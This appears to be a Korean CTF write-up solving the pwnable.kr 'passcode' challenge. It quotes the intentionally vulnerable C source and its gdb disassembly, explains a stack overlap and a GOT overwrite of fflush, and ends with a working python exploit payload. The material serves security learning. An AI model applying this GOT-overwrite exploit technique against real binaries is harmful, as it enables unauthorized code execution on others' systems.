pwnable.kr passcode
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
파파고 번역
###################################################################
엄마가 암호 기반 로그인 시스템을 만들라고 했어.
내 초기 C코드는 아무 오류 없이 편집되었어!
컴파일러 경고가 있었는데 누가 신경 써?
ssh passcode@pwnable.kr -p2222(pw:guest)
####################################################################
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
코드를 분석해보자
실행하면 welcome 함수가 열리고
login함수가 열린다.
welcome함수는 그냥 입력을 받아 출력해주는 함수이며
login함수는 패스워드 두개를 받아 비교하여 일치한다면 flag를 보여준다.
그런데 코드에 문제점이 있다.
scanf("%d",passcode1)
&이 빠져있다.
////////////////////////////////////////////////
결국 passcode1의 변수에 저장되는것이 아니라 passcode1의 주소에 있는 값의 주소에 저장되어 passcode1에는 쓰레기 값이 계속 들어가 있는상태로 남아있게된다.
///////////////////////////////////////////////
아직 공부가 부족하여 이곳을 참고하였다.
https://sunrinjuntae.tistory.com/27
https://pwnwiz.tistory.com/110
먼저 login 부분을 보자
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt> #"enter pascode1:" 출력
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
////////////////////////////////////////////////////////////////////////////
ebp-0x10의 주소안의 값을 받아온다
원래 [ebp]의 값에 -0x10한 값이 passcode1의 주소이다.
lea 를 사용해야 하며 [[ebp]-0x10] 의 값을 가져와야한다.
//////////////////////////////////////////////////////////////////
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> # scanf실행
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
---Type <return> to continue, or q <return> to quit---
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
위와 같이 우리가 원하는 passcode1에 값을 받아오지못한다.
welcome함수도 한번보자
welcome의 경우 배열을 사용하였기 때문에 &를 사용하지않아도 된다.
정상적인 구문이다.
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
[ebp]-0x70가 name의 주소이다.
이제 이것을 활용해보자
우리가 원하는 값을 넣어야 하는곳은 [ebp]-0x10
[ebp]-0x70 name이 담긴곳
[ebp]-0x10 passcode1이 담긴곳
[ebp]
배열의 크기가 100이기때문에 0x70-0x10=0x60(96)이기때문에 마지막 4바이트가 겹치는것을 알수있다.
우리는 ebp-0x10의 값을 바꿀수있다.
그렇다는건 ebp-0x10에 우리가 바꾸고싶은 위치의 주소를 넣고 scanf를 통해 그곳에 우리가 입력한 주소를 넣을수 있다는것이다.
즉 바꿀주소의 주소는 fflush함수의 리턴주소(GOT)이고 바꿔줄 주소는 system("/bin/cat flag")으로 넘어가는 주소로 주소로 바꾸어주면된다.
여기서 필요한 개념이 PLT와 GOT이다.
https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/
x/3i를 통해 fflush함수를 확인해보면 알수있다.(x/i : 역어셈블된 명령어의 명령 메모리를 볼수 있음)
다른 옵션 확인 사이트
https://create32.tistory.com/entry/GDB-%EC%82%AC%EC%9A%A9%EB%B2%95-x-%EB%AA%85%EB%A0%B9%EC%96%B4
fflush함수
(gdb) x/3i 0x8048430
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410
printf함수
(gdb) x/3i 0x8048420
0x8048420 <printf@plt>: jmp DWORD PTR ds:0x804a000
0x8048426 <printf@plt+6>: push 0x0
0x804842b <printf@plt+11>: jmp 0x8048410
이 두함수에서 공격이 가능하다.
GOT를 조작할수있다.
각각의 GOT는 0x804a004 0x804a000이다.
이제 이주소의 값을 우리가 원하는 위치인
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485e3 로 바꾸면 된다.
최종 페이로드는
(python -c 'print "\x90"*96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode
or
(python -c 'print "\x90"*96 + "\x00\xa0\x04\x08" + "134514147"') | ./passcode
0x080485e3 는 scanf에서 %d 10진수로 받으므로 10진수로 바꾸어서 입력해주어야한다.